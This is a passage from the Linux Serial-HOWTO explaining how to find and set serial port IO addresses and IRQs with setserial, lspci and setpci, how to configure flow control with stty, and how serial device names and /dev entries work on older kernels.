setserial /dev/ttyS2 irq 10 port 0xecb8 autoconfig

Note that the boot-time message "Probing PCI hardware" means reading the PnP configuration registers in the PCI cards which reveals the IO addresses and IRQs. This is different that the probing of IO addresses by the serial driver which means reading certain IO addresses to see if what's read looks like there's a serial port at that address.

7.3 Common mistakes made re low-level configuring

Here are some common mistakes people make:

  • setserial command: They run it (without the "autoconfig" and auto_irq options) and think it has checked the hardware to see if what it shows is correct (it hasn't).
  • setserial messages: They see them displayed on the screen at boot-time (or by giving the setserial command) and erroneously think that the result always shows how their hardware is actually configured.
  • /proc/interrupts: When their serial device isn't in use they don't see its interrupt there, and erroneously conclude that their serial port can't be found (or doesn't have an interrupt set).
  • /proc/ioports and /proc/tty/driver/serial: People think this shows the actual hardware configuration when it only shows about the same info (possibly erroneous) as setserial.

7.4 IRQ & IO Address Must be Correct

There are really two answers to the question "What is my IO and IRQ?" 1. What the device driver thinks has been set (This is what setserial usually sets and shows.). 2. What is actually set in the hardware. Both 1. and 2. above should be the same. If they're not it spells trouble since the driver has incorrect info on the physical serial port. In some cases the hardware is disabled so it has no IO address or IRQ.

If the driver has the wrong IO address it will try to send data to a non-existing serial port --or even worse, to some other device. If it has the wrong IRQ the driver will not get interrupt service requests from the serial port, resulting in a very slow or no response. See Extremely Slow: Text appears on the screen slowly after long delays. If it has the wrong model of UART there is also apt to be trouble. To determine if both I0-IRQ pairs are identical you must find out how they are set in both the driver and the hardware.

7.5 What is the IO Address and IRQ per the driver ?

Introduction

What the driver thinks is not necessarily how the hardware is actually set. If everything works OK then what the driver thinks is likely correct (set in the hardware) and you don't need to investigate (unless you're curious or want to become a guru). Ways to determine what the driver thinks include: boot-time messages I/O Address & IRQ: Boot-time messages, the /proc directory "files" The /proc directory and setserial, and the "setserial" command.

I/O Address & IRQ: Boot-time messages

In many cases your ports will automatically get low-level configured at boot-time (but not always correctly). To see what is happening, look at the start-up messages on the screen. Don't neglect to check the messages from the BIOS before Linux is loaded (no examples shown here). These BIOS messages may be frozen by pressing the Pause key. Use Shift-PageUp to scroll back to the messages after they have flashed by. Shift-PageDown will scroll in the opposite direction. The dmesg command (or looking at logs in /var/log) will show some of the messages but they seem to miss important ones from setserial. Here's an example of the start-up messages (as of mid 1999). Note that ttyS00 is the same as /dev/ttyS0.

At first you see what was detected (but the irq is only a wild guess):

Serial driver version 4.27 with no serial options enabled
ttyS00 at 0x03f8 (irq = 4) is a 16550A
ttyS01 at 0x02f8 (irq = 3) is a 16550A
ttyS02 at 0x03e8 (irq = 4) is a 16550A

Later setserial shows you  what was saved, but it's not necessarily
correct either:

Loading the saved-state of the serial devices...
/dev/ttyS0 at 0x03f8 (irq = 4) is a 16550A
/dev/ttyS1 at 0x02f8 (irq = 3) is a 16550A
/dev/ttyS2 at 0x03e8 (irq = 5) is a 16550A

Note that there is a slight disagreement: The first message shows ttyS2 at irq=4 while the second shows it at irq=5. dmesg may not display the second message. In most cases the second message is the correct one. But if your having trouble it may be misleading. Before reading the explanation of all of this complexity in the rest of this section, you might just try using your serial port and see if it works OK. If so it may not be essential to read further.

The second message is from the setserial program being run at boot-time. It shows what the device driver thinks is the correct configuration. But this too could be wrong. For example, the irq could actually be set to irq=8 in the hardware (both messages wrong). The irq=5 could be there because someone incorrectly put this into a configuration file (or the like). The fact that Linux sometimes gets IRQs wrong is because it doesn't by default probe for IRQs. It just assumes the "standard" ones (first message) or accepts what you told it when you configured it (second message). Neither of these is necessarily correct. If the serial driver has the wrong IRQ, the serial port is very slow or doesn't seem to work at all.

The first message is a result of Linux probing the serial port addresses but it doesn't probe for IRQs. If a port shows up here it exists but the IRQ may be wrong. Linux doesn't check IRQs because doing so is not foolproof. It just assumes the IRQs are as shown because they are the "standard" values. Your may check them manually with setserial using the autoconfig and auto_irq options but this isn't guaranteed to be correct either.

The data shown by the BIOS messages (which you see at first before Linux is booted) is what is initially set in the hardware. If your serial port is Plug-and-Play (PnP) then it's possible that "isapnp" or "setpci" will run and change these settings. Look for messages about this after Linux starts. The last serial port message shown in the example above should agree with the BIOS messages (as possibly modified by isapnp or setpci). If they don't agree then you either need to change the setting in the port hardware or use setserial to tell the driver what is actually set in the hardware.

Also, if you have Plug-and-Play (PnP) serial ports, they can only be found by PnP software unless the IRQ and IO has been set inside the hardware by Plug-and-Play software. Prior to kernel 2.4 this was a common reason why the start-up messages did not show a serial port that physically exists. A PnP BIOS may automatically low-level configure them. PnP configuring will be explained later.

The /proc directory and setserial

Type "setserial -g /dev/ttyS*". There are some other ways to find this info by looking at "files" in the /proc directory. Be warned that there is no guarantee that the same is set in the hardware.

/proc/ioports will show the IO addresses that the drivers are using. /proc/interrupts shows the IRQs that are used by drivers of currently running processes (that have devices open). It shows how many interrupts have actually be issued. /proc/tty/driver/serial shows much of the above, plus the number of bytes that have been received and sent (even if the device is not now open).

Note that for the IO addresses and IRQ assignments, you are only seeing what the driver thinks and not necessarily what is actually set in the hardware. The data on the actual number of interrupts issued and bytes processed is real however. If you see a large number of interrupts and/or bytes then it probably means that the device is (or was) working. But the interrupts might be from another device. If there are no bytes received (rx:0) but bytes were transmitted (tx:3749 for example), then only one direction of flow is working (or being utilized).

Sometimes a showing of just a few interrupts doesn't mean that the interrupt is actually being physically generated by any serial port. Thus if you see almost no interrupts for a port that you're trying to use, that interrupt might not be set in the hardware. To view /proc/interrupts to check on a program that you're currently running (such as "minicom") you need to keep the program running while you view it.

7.6 What is the IO Address & IRQ of my Serial Port Hardware?

Introduction

If it's PCI or ISA PnP then what's set in the hardware has been done by PnP methods. Even if nothing has been set or the port disabled, PnP ports may still be found by using "lspci -v" or "isapnp --dumpregs". Ports disabled by jumpers (or hardware failures) are lost. See ISA PnP ports, PCI: What IOs and IRQs have been set?, PCI: Is the port enabled?

PnP ports don't store their configuration in the hardware when the power is turned off. This is in contrast to Jumpers (non-PnP) which remain the same with the power off. That's why a PnP port is more likely to be found in a disabled state than an old non-PnP one.

PCI: What IOs and IRQs have been set?

For PCI, the BIOS almost always sets the IRQ and may set the IO address as well. To see how it's set use "lspci -vv" (best) or look in /proc/bus/pci (or for kernels <2.2 /proc/pci). The modem's serial port is often called a "Communication controller". If more than one IO address is shown, the first one is more likely to be it. You can't change the IRQ (at least not with "setpci") This is because if one writes it in it's hardware register no action is taken on it. It's the BIOS that should actually set up the IRQs and then write the correct value to this register for lspci to view. If you must, change the IO address with "setpci" by changing the BASE_ADDRESS_0 or the like. The _0 (or _1) after BASE_ADDRESS must be the correct register.

PCI: Is the port enabled?

If the port communicates via an IO address "then lspci -vv" should show "Control: I/O+ ..." with + meaning that the IO address is enabled. If it shows "I/O-" then you may need to use the setpci command to enable it. For example "setpci -d 151f:000 command=101". The "command" means the command register which is the same as the "Control" register displayed by lspci. The 101h sets two bits: the 1 sets I/O to + and the 100 part keeps SERR# set to +. In this case only the SERR# bit of the Control register was initially observed to be + when the lspci command was run. So we kept it enabled to + by setting bit 8 (where bit 0 is I/O) to 1 by the first 1 in 101. My apologies if setting bits is confusing. Bit 8 is actually the 9th bit since we started counting bits from 0.

ISA PnP ports

For an ISA Plug-and-Play (PnP) port one may try the pnpdump program (part of isapnptools). If you use the --dumpregs option then it should tell you the actual IO address and IRQ set in the port. It should also find an ISA PnP port that is disabled. The address it "trys" is not the device's IO address, but a special address used for communicating with PnP cards.

Finding a port that is not disabled (ISA, PCI, PnP, non-PnP)

Perhaps the BIOS messages will tell you some info before Linux starts booting. Use the shift-PageUp key to step back thru the boot-time messages and look at the very first ones which are from the BIOS. This is how it was before Linux started. Setserial can't change it but isapnp or setpci can. Starting with kernel 2.4, these are built into the serial driver.

Using "scanport" will probe all I/O ports and will indicate what it thinks may be serial port. After this you could try probing with setserial using the "autoconfig" option. You'll need to guess the addresses to probe at (using clues from "scanport"). See What is Setserial.

For a port set with jumpers, the IO ports and IRQs are set per the jumpers. If the port is not Plug-and-Play (PnP) but has been setup by using a DOS program, then it's set at whatever the person who ran that program set it to.

Exploring via MS Windows (a last resort)

For PnP ports, checking on how it's configured under DOS/Windows may (or may not) imply how it's under Linux. MS Windows stores its configuration info in its Registry which is not used by Linux so they are not necessarily configured the same. If you let a PnP BIOS automatically do the configuring when you start Linux (and have told the BIOS that you don't have a PnP operating system when starting Linux) then Linux should use whatever configuration is in the BIOS's non-volatile memory. Windows also makes use of the same non-volatile memory but doesn't necessarily configure it that way.

7.7 Choosing Serial IRQs

If you have Plug-and-Play ports then either a PnP BIOS or a serial driver may configure all your devices for you so then you may not need to choose any IRQs. PnP software determines what it thinks is best and assigns them (but it's not always best). But if you directly use isapnp (ISA bus) or jumpers then you have to choose. If you already know what IRQ you want to use you could skip this section except that you may want to know that IRQ 0 has a special use (see the following paragraph).

IRQ 0 is not an IRQ

While IRQ 0 is actually the timer (in hardware) it has a special meaning for setting a serial port with setserial. It tells the driver that there is no interrupt for the port and the driver then will use polling methods. Such polling puts more load on the CPU but can be tried if there is an interrupt conflict or mis-set interrupt. The advantage of assigning IRQ 0 is that you don't need to know what interrupt is set in the hardware. It should be used only as a temporary expedient until you are able to find a real interrupt to use.

Interrupt sharing, Kernels 2.2+

Sharing of IRQs is where two devices use the same IRQ. As a general rule, this wasn't allowed for the ISA bus. The PCI bus may share IRQs but one can't share the same IRQ between the ISA and the PCI bus. Most multi-port boards may share IRQs. Sharing is not as efficient since every time a shared interrupt is given a check must be made to determine where it came from. Thus if it's feasible, it's nicer to allocate every device its own interrupt.

Prior to kernel 2.2, serial IRQs could not be shared with each other except for most multiport boards. Starting with kernel 2.2 serial IRQs may be sometimes shared between serial ports. In order for sharing to work in 2.2 the kernel must have been compiled with CONFIG_SERIAL_SHARE_IRQ, and the serial port hardware must support sharing (so that if two serial cards put different voltages on the same interrupt wire, only the voltage that means "this is an interrupt" will prevail). Since the PCI bus specs permit sharing, any PCI card should allow sharing.

What IRQs to choose?

The serial hardware often has only a limited number of IRQs. Also you don't want IRQ conflicts. So there may not be much of a choice. Your PC may normally come with ttyS0 and ttyS2 at IRQ 4, and ttyS1 and ttyS3 at IRQ 3. Looking at /proc/interrupts will show which IRQs are being used by programs currently running. You likely don't want to use one of these. Before IRQ 5 was used for sound cards, it was often used for a serial port.

Here is how Greg (original author of Serial-HOWTO) set his up in /etc/rc.d/rc.serial. rc.serial is a file (shell script) which runs at start-up (it may have a different name or location). For versions of "setserial" after 2.15 it's not always done this way anymore but this example does show the choice of IRQs.

/sbin/setserial /dev/ttyS0 irq 3        # my serial mouse
/sbin/setserial /dev/ttyS1 irq 4        # my Wyse dumb terminal
/sbin/setserial /dev/ttyS2 irq 5        # my Zoom modem
/sbin/setserial /dev/ttyS3 irq 9        # my USR modem

Standard IRQ assignments:

        IRQ  0    Timer channel 0 (May mean "no interrupt".  See below.)
        IRQ  1    Keyboard
        IRQ  2    Cascade for controller 2
        IRQ  3    Serial port 2
        IRQ  4    Serial port 1
        IRQ  5    Parallel port 2, Sound card
        IRQ  6    Floppy diskette
        IRQ  7    Parallel port 1
        IRQ  8    Real-time clock
        IRQ  9    Redirected to IRQ2
        IRQ 10    not assigned
        IRQ 11    not assigned
        IRQ 12    not assigned
        IRQ 13    Math coprocessor
        IRQ 14    Hard disk controller 1
        IRQ 15    Hard disk controller 2

There is really no Right Thing to do when choosing interrupts. Try to find one that isn't being used by the motherboard, or any other boards. 2, 3, 4, 5, 7, 10, 11, 12 or 15 are possible choices. Note that IRQ 2 is the same as IRQ 9. You can call it either 2 or 9, the serial driver is very understanding. If you have a very old serial board it may not be able to use IRQs 8 and above.

Make sure you don't use IRQs 1, 6, 8, 13 or 14! These are used by your motherboard. You will make her very unhappy by taking her IRQs. When you are done you might want to double-check /proc/interrupts when programs that use interrupts are being run and make sure there are no conflicts.

7.8 Choosing Addresses --Video card conflict with ttyS3

Here's a problem with some old serial cards. The IO address of the IBM 8514 video board (and others like it) is allegedly 0x?2e8 where ? is 2, 4, 8, or 9. This may conflict with the IO address of ttyS3 at 0x02e8. Your may think that this shouldn't happen since the addresses are different in the high order digit (the leading 0 in 02e8). You're right, but a poorly designed serial port may ignore the high order digit and respond to any address that ends in 2e8. That is bad news if you try to use ttyS3 (ISA bus) at this IO address.

For the ISA bus you should try to use the default addresses shown below. PCI cards use different addresses so as not to conflict with ISA addresses. The addresses shown below represent the first address of an 8-byte range. For example 3f8 is really the range 3f8-3ff. Each serial device (as well as other types of devices that use IO addresses) needs its own unique address range. There should be no overlaps (conflicts). Here are the default addresses for commonly used serial ports on the ISA bus:

ttyS0 address 0x3f8
ttyS1 address 0x2f8
ttyS2 address 0x3e8
ttyS3 address 0x2e8

Suppose there is an address conflict (as reported by setserial -g /dev/ttyS*) between a real serial port and another port which does not physically exist (and shows UART: unknown). Such a conflict shouldn't cause problems but it sometimes does in older kernels. To avoid this problem don't permit such address conflicts or delete /dev/ttySx if it doesn't physically exist.

7.9 Set IO Address & IRQ in the hardware (mostly for PnP)

After it's set in the hardware don't forget to insure that it also gets set in the driver by using setserial. For non-PnP serial ports they are either set in hardware by jumpers or by running a DOS program ("jumperless") to set them (it may disable PnP). The rest of this subsection is only for PnP serial ports. Here's a list of the possible methods of configuring PnP serial ports:

  • Using a PnP BIOS CMOS setup menu (usually only for external devices on ttyS0 (Com1) and ttyS1 (Com2))
  • Letting a PnP BIOS automatically configure a PnP serial port See Using a PnP BIOS to I0-IRQ Configure
  • Doing nothing if the serial driver recognized your card OK
  • Using isapnp for a PnP serial port non-PCI)
  • Using setpci (pciutils or pcitools) for the PCI bus

The IO address and IRQ must be set (by PnP) in their registers each time the system is powered on since PnP hardware doesn't remember how it was set when the power is shut off. A simple way to do this is to let a PnP BIOS know that you don't have a PnP OS and the BIOS will automatically do this each time you start. This might cause problems in Windows (which is a PnP OS) if you start Windows with the BIOS thinking that Windows is not a PnP OS. See Plug-and-Play-HOWTO.

Plug-and-Play (PnP) was designed to automate this io-irq configuring, but for Linux it initially made life much more complicated. In modern Linux (2.4 kernels --partially in 2.2 kernels), each device driver has to do it's own PnP (using supplied software which it may utilize). There is unfortunately no centralized planning for assigning IO addresses and IRQs as there is in MS Windows. But it usually works out OK in Linux anyway.

Using a PnP BIOS to I0-IRQ Configure

While the explanation of how to use setpci or isapnp for io-irq configuring should come with such software, this is not the case if you want to let a PnP BIOS do such configuring. Not all PnP BIOS can do this. The BIOS usually has a CMOS menu for setting up the first two serial ports. This menu may be hard to find. For an "Award" BIOS it was found under "chipset features setup" There is often little to choose from. Unless otherwise indicated in a menu, these first two ports normally get set at the standard IO addresses and IRQs. See Serial Port Device Names & Numbers

Whether you like it or not, when you start up a PC a PnP BIOS starts to do PnP (io-irq) configuring of hardware devices. It may do the job partially and turn the rest over to a PnP OS (which Linux is in some sense) or if thinks you don't have a PnP OS it may fully configure all the PnP devices but not configure the device drivers. This is what you want but it's not always easy to figure out exactly what the PnP BIOS has done.

If you tell the BIOS that you don't have a PnP OS, then the PnP BIOS should do the configuring of all PnP serial ports --not just the first two. An indirect way to control what the BIOS does (if you have Windows 9x on the same PC) is to "force" a configuration under Windows. See Plug-and-Play-HOWTO and search for "forced". It's easier to use the CMOS BIOS menu which may override what you "forced" under Windows. There could be a BIOS option that can set or disable this "override" capability.

If you add a new PnP device, the BIOS should PnP configure it. It could even change the io-irq of existing devices if required to avoid any conflicts. For this purpose, it keeps a list of non-PnP devices provided that you have told the BIOS how these non-PnP devices are io-irq configured. One way to tell the BIOS this is by running a program called ICU under DOS/Windows.

But how do you find out what the BIOS has done so that you set up the device drivers with this info? The BIOS itself may provide some info, either in its setup menus of via messages on the screen when you turn on your computer. See What is set in my serial port hardware?. Other ways of finding out is to use lspci for the PCI bus or isapnp --dumpregs for the ISA bus. The cryptic results it shows you may not be clear to a novice.

7.10 Giving the IRQ and IO Address to Setserial

Once you've set the IRQ and IO address in the hardware (or arranged for it to be done by PnP) you also need to insure that the "setserial" command is run each time you start Linux. See the subsection Boot-time Configuration


Serial HOWTO: Configuring the Serial Driver (high-level) "stty"

 Next Previous Contents

8. Configuring the Serial Driver (high-level) "stty"

8.1 Overview

See the section Stty. The "stty" command sets many things such as flow control, speed, and parity. The only one discussed in this section is flow control.

8.2 Flow Control

Configuring Flow Control: Hardware Flow Control is Usually Best See Flow Control for an explanation of it. It's usually better to use hardware flow control rather than software flow control using Xon/Xoff. To use full hardware flow control you must normally have two wires for it in the cable between the serial port and the device. If the device is on a card or the motherboard, then it should always be possible to use hardware flow control.

Many applications (and the getty program) give you an option regarding flow control and will set it for you. It might even set hardware flow control by default. It must be set both in the serial driver and in the hardware connected to the serial port. How it's set into the hardware is hardware dependent. Sometimes there is a certain "init string" you send to the hardware device via the serial port from your PC. For a modem, the communication program should set it in both places.

If a program you use doesn't set flow control in the serial driver, then you may do it yourself using the stty command. Since the driver doesn't remember the setting after you stop Linux, you could put the stty command in a file that runs at start-up or when you login (such as /etc/profile for the bash shell). Here's what you would add for hardware flow control for port ttyS2:

stty crtscts < /dev/ttyS2
or for stty version >= 1.17:
stty -F /dev/ttyS2 crtscts

crtscts stands for a Control setting to use the RTS and CTS pins of the serial port for hardware flow control. Note that RTS+CTS almost spells: crtscts.


Serial HOWTO: Serial Port Devices /dev/ttyS2, etc.

 Next Previous Contents

9. Serial Port Devices /dev/ttyS2, etc.

For creating devices in the device directory see:

Creating Devices In the /dev directory

9.1 Devfs (The new Device File System)

This is a new type of device interface to Linux. It's optional starting with kernel 2.4. It's more efficient than the conventional interface and makes it easy to deal with a huge number of devices. The device names have all changed as well. But there's an option to continue using the old names. For a detailed description of it see: http://www.atnf.csiro.au/~rgooch/linux/docs/devfs.html

The name changes (if used) are: ttyS2 becomes tts/2 (Serial port), tty3 becomes vc/3 (Virtual Console), ptyp1 becomes pty/m1 (PTY master), ttyp2 becomes pty/s2 (PTY slave). "tts" looks like a directory which contains devices "files": 0, 1, 2, etc. All of these new names should still be in the /dev directory although optionally one may put them elsewhere.

9.2 Serial Port Device Names & Numbers

Devices in Linux have major and minor numbers (unless you use the new devfs). The serial port ttySx (x=0,1,2, etc.) has major number 4. You may see this (and the minor numbers too) by typing: "ls -l ttyS*" in the /dev directory.

There formerly was a "cua" name for each serial port and it behaved just a little differently. For example, ttyS2 would correspond to cua2. The cua major number was 5 and minor numbers started at 64. You may still have the cua devices in your /dev directory but they are now deprecated. Their drivers behave slightly different than for the ttyS ones. name="cua Device Obsolete">."') See the Modem-HOWTO section: "cua Device Obsolete">.

Dos/Windows use the COM name while the setserial program uses tty00, tty01, etc. Don't confuse these with dev/tty0, dev/tty1, etc. which are used for the console (your PC monitor) but are not serial ports. The table below is for the "standard" case (but yours could be different). The major/minor numbers don't exist with the devfs.

                            ISA IO                              devfs usb
 dos            major minor address  devfs       devfs usb      acm modem
COM1  /dev/ttyS0  4,  64;   3F8   /dev/tts/0  /dev/usb/tts/0 /dev/usb/acm/0
COM2  /dev/ttyS1  4,  65;   2F8   /dev/tts/1  /dev/usb/tts/1 /dev/usb/acm/1
COM3  /dev/ttyS2  4,  66;   3E8   /dev/tts/2  /dev/usb/tts/2 /dev/usb/acm/2
COM4  /dev/ttyS3  4,  67;   2E8   /dev/tts/3  /dev/usb/tts/3 /dev/usb/acm/3

9.3 USB (Universal Serial Bus) Ports

The serial ports on the USB are: /dev/ttyUSB0, /dev/ttyUSB1, etc. The devfs names for these are: /dev/usb/tts/0, /dev/usb/tts/1, etc. For many modems they are /dev/usb/acm/0, etc. (in devfs notation). For more info see the usb subdirectory in the kernel documentation directory for files: acm and usb-serial.

9.4 Link ttySN to /dev/modem

On some installations, two extra devices will be created, /dev/modem for your modem and /dev/mouse for a mouse. Both of these are symbolic links to the appropriate serial device in /dev which you specified during the installation Except if you have a bus mouse, then /dev/mouse will point to the bus mouse device).

Formerly (in the 1990s) the use of /dev/modem was discouraged since lock files might not realize that it was really say /dev/ttyS2. The newer lock file system doesn't fall into this trap so it's now OK to use such links.

9.5 Which Connector on the Back of my PC is ttyS1, etc?

Inspect the connectors

Inspecting the connectors may give some clues but is often not definitive. The serial connectors on the back side of a PC are usually DB connectors with male pins. 9-pin is the most common but some are 25-pin (especially older PCs like 486s). There may be one 9-pin (perhaps ttyS0 ??) and one 25-pin (perhaps ttyS1 ??). For two 9-pin ones the top one might be ttyS0.

If you only have one serial port connector on the back of your PC, this may be easy. If you also have an internal modem, a program like wvdial may be able to tell you what port it's on (unless it's a PnP that hasn't been PnP configured yet). A report from setserial (at boot-time or run by you from the command line) should help you identify the non-modem port.

If you have two serial connectors it may be more difficult. First check manuals (if any) for your computer. Look at the connectors for meaningful labels. You might even want to take off the PC's cover and see if there are any meaningful labels on the card where the internal ribbon cables plug in. Labels (if any) are likely to say something like "serial 1", "serial 2" or A, B. Which com port it actually is will depend on jumper or PnP settings (sometimes shown in a CMOS setup menu). But 1 or A are more likely to be ttyS0 with 2 or B ttyS1.

Send bytes to the port

Labels are not apt to be definitive so here's another method. If the serial ports have been configured correctly per setserial, then you may send some bytes out a port and try to detect which connector (if any) it's coming out of. One way to send such a signal is to copy a long text file to the port using a command like: cp my_file_name /dev/ttyS1. A voltmeter connected to the DTR pin (see Serial-HOWTO for Pinout) will display positive as soon as you give the copy command.

The transmit pin should go from several volts negative to a voltage fluctuating around zero after you start sending the bytes. If it doesn't (but the DTR went positive) then you've got the right port but it's blocked from sending. This may be due to a wrong IRQ, -clocal being set, etc. The command "stty -F /dev/ttyS1 -a" should show clocal (and not -clocal). If not, change it to clocal.

Another test is to jumper the transmit and receive pins (pins 2 and 3 of either the 25-pin or 9-pin connector) of a test serial port. Then send something to each port (from the PCs keyboard) and see if it gets sent back. If it does it's likely the port with the jumper on it. Then remove the jumper and verify that nothing gets sent back. Note that if "echo" is set (per stty) then a jumper creates an infinite loop. Bytes that pass thru the jumper go into the port and come right back out of the other pin back to the jumper. Then they go back in and out again and again. Whatever you send to the port repeats itself forever (until you interrupt it by removing the jumper, etc.). This may be a good way to test it as the repeating test messages halt when the jumper is removed.

As a jumper you could use a mini (or micro) jumper cable and perhaps use a scrap of paper to prevent the mini clips from accidentally touching the metal of the connector. Whatever you use as a jumper take care not to bend or excessively scratch the pins. To receive something from a port, you can go to a virtual terminal (Alt-F2 for example) and type something like "cp /dev/ttyS2 /dev/tty". Then at another virtual terminal you may send something to ttyS2 (or whatever) by "echo test_message > /dev/ttyS2". Then go back to the receive virtual terminal and look for the test_message. See Serial Electrical Test Equipment for more info.

Connect a device to the connector

Another way to try to identify a serial port is to connect some physical serial device to it and see if it works. But a problem here is that it might not work because it's not configured right. A serial mouse might get detected if connected.

Missing connectors

If the software shows that you have more serial ports than you have connectors for (including an internal modem which counts as a serial port) then you may have a serial port that has no connector. Some motherboards come with a serial port with no cable or serial DB connector. Someone may build a PC from this and omit the connector. There may be a "serial" label on the motherboard but no ribbon cable connects to the pins next to this label. To use this port you must get a ribbon cable/connector. I've seen different wiring arrangements for such ribbon cables so beware.

9.6 Creating Devices In the /dev directory

If you don't have a device "file" that you need, you will have to create it with the mknod command or with the MAKEDEV shell script. Example, suppose you needed to create ttyS0:

linux# mknod -m 666 /dev/ttyS0 c 4 64
You can use the MAKEDEV script, which lives in /dev. See the man page for it. This simplifies the making of devices. For example, if you needed to make the devices for ttyS0 you would type:
linux# cd /dev
linux# ./MAKEDEV ttyS0
This handles the devices creation and should set the correct permissions. For making multiport devices see Making multiport devices in the /dev directory.


Serial HOWTO: Interesting Programs You Should Know About

 Next Previous Contents

10. Interesting Programs You Should Know About

Most info on getty has been moved to Modem-HOWTO with a little info on the use of getty with directly connected terminals now found in Text-Terminal-HOWTO.

10.1 Serial Monitoring/Diagnostics Programs

A few Linux programs (and one "file") will monitor various modem control lines and indicate if they are positive (1 or green) or negative (0 or red).

  • The "file": /proc/tty/driver/serial lists those that are positive
  • modemstat (Only works correctly on Linux PC consoles. Status monitored in a tiny window. Color-coded and compact. Must kill it (a process) to quit.
  • statserial (Info displayed on entire screen)
  • serialmon (Doesn't monitor RTS, CTS, DSR but logs other functions)
You may already have them. If not, download them from Serial Software. As of June 1998, I know of no diagnostic program in Linux for the serial port.

10.2 Changing Interrupt Priority

  • irqtune will give serial port interrupts higher priority to improve performance.
  • hdparm for hard-disk tuning may help some more.

10.3 What is Setserial ?

This part is in 3 HOWTOs: Modem, Serial, and Text-Terminal. There are some minor differences, depending on which HOWTO it appears in.

Introduction

If you have a Laptop (PCMCIA) don't use setserial until you read Laptops: PCMCIA. setserial is a program which allows you to tell the device driver software the I/O address of the serial port, which interrupt (IRQ) is set in the port's hardware, what type of UART you have, etc. Since there's a good chance that the serial ports will be automatically detected and set, many people never need to use setserial. In any case setserial will not work without either serial support built into the kernel or loaded as a module. The module may get loaded automatically if you (or a script) tries to use setserial.

Setserial can also show how the driver is currently set. In addition, it can be made to probe the hardware I0 port addresses to try to determine the UART type and IRQ, but this has severe limitations. See Probing. Note that it can't set the IRQ or the port address in the hardware of PnP serial ports (but the plug-and-play features of the serial driver may do this). It can't read the PnP data stored in configuration registers in the hardware.

If you only have one or two built-in serial ports, they will usually get set up correctly without using setserial. Otherwise, if you add more serial ports (such as a modem card) you may need to deal with setserial. Besides the man page for setserial, check out info in /usr/doc/setserial.../ or /usr/share/doc/setserial. It should tell you how setserial is handled in your distribution of Linux.

Setserial is often run automatically at boot-time by a start-up shell-script for the purpose of assigning IRQs, etc. to the driver. Setserial will only work if the serial module is loaded (or if the equivalent was compiled into your kernel). If the serial module gets unloaded later on, the changes previously made by setserial will be forgotten by the kernel. But recent (2000) distributions may contain scripts that save and restore this. If not, then setserial must be run again to reestablish them. In addition to running via a start-up script, something akin to setserial also runs earlier when the serial module is loaded (or the like). Thus when you watch the start-up messages on the screen it may look like it ran twice, and in fact it has.

Setserial can set the time that the port will keep operating after it's closed (in order to output any characters still in its buffer in main RAM). This is needed at slow baud rates of 1200 or lower. It's also needed at higher speeds if there are a lot of "flow control" waits. See "closing_wait" in the setserial man page.

Setserial does not set either IRQ's nor I/O addresses in the serial port hardware itself. That is done either by jumpers or by plug-and-play. You must tell setserial the identical values that have been set in the hardware. Do not just invent some values that you think would be nice to use and then tell them to setserial. However, if you know the I/O address but don't know the IRQ you may command setserial to attempt to determine the IRQ.

You can see a list of possible commands by just typing setserial with no arguments. This fails to show you the one-letter options such as -v for verbose which you should normally use when troubleshooting. Note that setserial calls an IO address a "port". If you type:

setserial -g /dev/ttyS*
you'll see some info about how that device driver is configured for your ports. Note that where it says "UART: unknown" it probably means that no uart exists. In other words you probably have no such serial port and the other info shown about the port is meaningless and should be ignored. If you really do have such a serial port, setserial doesn't recognize it and that needs to be fixed.

If you add -a to the option -g you will see more info although few people need to deal with (or understand) this additional info since the default settings you see usually work fine. In normal cases the hardware is set up the same way as "setserial" reports, but if you are having problems there is a good chance that "setserial" has it wrong. In fact, you can run "setserial" and assign a purely fictitious I/O port address, any IRQ, and whatever uart type you would like to have. Then the next time you type "setserial ..." it will display these bogus values without complaint. They will also be officially registered with the kernel as displayed (at the top of the screen) by the "scanport" command. Of course the serial port driver will not work correctly (if at all) if you attempt to use such a port. Thus when giving parameters to "setserial" anything goes. Well almost. If you assign one port a base address that is already assigned (such as 3e8) it will not accept it. But if you use 3e9 it will accept it. Unfortunately 3e9 is already assigned since it is within the range starting at base address 3e8. Thus the moral of the story is to make sure your data is correct before assigning resources with setserial.

While assignments made by setserial are lost when the PC is powered off, a configuration file may restore them (or a previous configuration) when the PC is started up again. In newer versions, what you change by setserial may get automatically saved to a configuration file. In older versions, the configuration file only changes if you edit it manually so the configuration always remains the same from boot to boot. See Configuration Scripts/Files

Probing

Prior to probing with "setserial", one may run the "scanport" command to check all possible ports in one scan. It makes crude guesses as to what is on some ports but doesn't determine the IRQ. But it's a fast first start. It may hang your PC but so far it's worked fine for me.

With appropriate options, setserial can probe (at a given I/O address) for a serial port but you must guess the I/O address. If you ask it to probe for /dev/ttyS2 for example, it will only probe at the address it thinks ttyS2 is at (2F8). If you tell setserial that ttyS2 is at a different address, then it will probe at that address, etc. See Probing

The purpose of this is to see if there is a uart there, and if so, what its IRQ is. Use "setserial" mainly as a last resort as there are faster ways to attempt it such as wvdialconf to detect modems, looking at very early boot-time messages, or using pnpdump --dumpregs. To try to detect the physical hardware use for example :
setserial /dev/ttyS2 -v autoconfig
If the resulting message shows a uart type such as 16550A, then you're OK. If instead it shows "unknown" for the uart type, then there is supposedly no serial port at all at that I/O address. Some cheap serial ports don't identify themselves correctly so if you see "unknown" you still might have a serial port there.

Besides auto-probing for a uart type, setserial can auto-probe for IRQ's but this doesn't always work right either. In one case it first gave the wrong irq but when the command was repeated it found the correct irq. In versions of setserial >= 2.15, the results of your last probe test could be automatically saved and put into the configuration file /etc/serial.conf which will be used next time you start Linux. At boot-time when the serial module loads (or the like), a probe for UARTs is made automatically and reported on the screen. But the IRQs shown may be wrong. The second report of the same is the result of a script which usually does no probing and thus provides no reliable information as to how the hardware is actually set. It only shows configuration data someone wrote into the script or data that got saved in /etc/serial.conf.

It may be that two serial ports both have the same IO address set in the hardware. Of course this is not permitted but it sometimes happens anyway. Probing detects one serial port when actually there are two. However if they have different IRQs, then the probe for IRQs may show IRQ = 0. For me it only did this if I first used setserial to give the IRQ a fictitious value.

Boot-time Configuration

When the kernel loads the serial module (or if the "module equivalent" is built into the kernel) then only ttyS{0-3} are auto-detected and the driver is set to use only IRQs 4 and 3 (regardless of what IRQs are actually set in the hardware). You see this as a boot-time message just like as if setserial had been run.

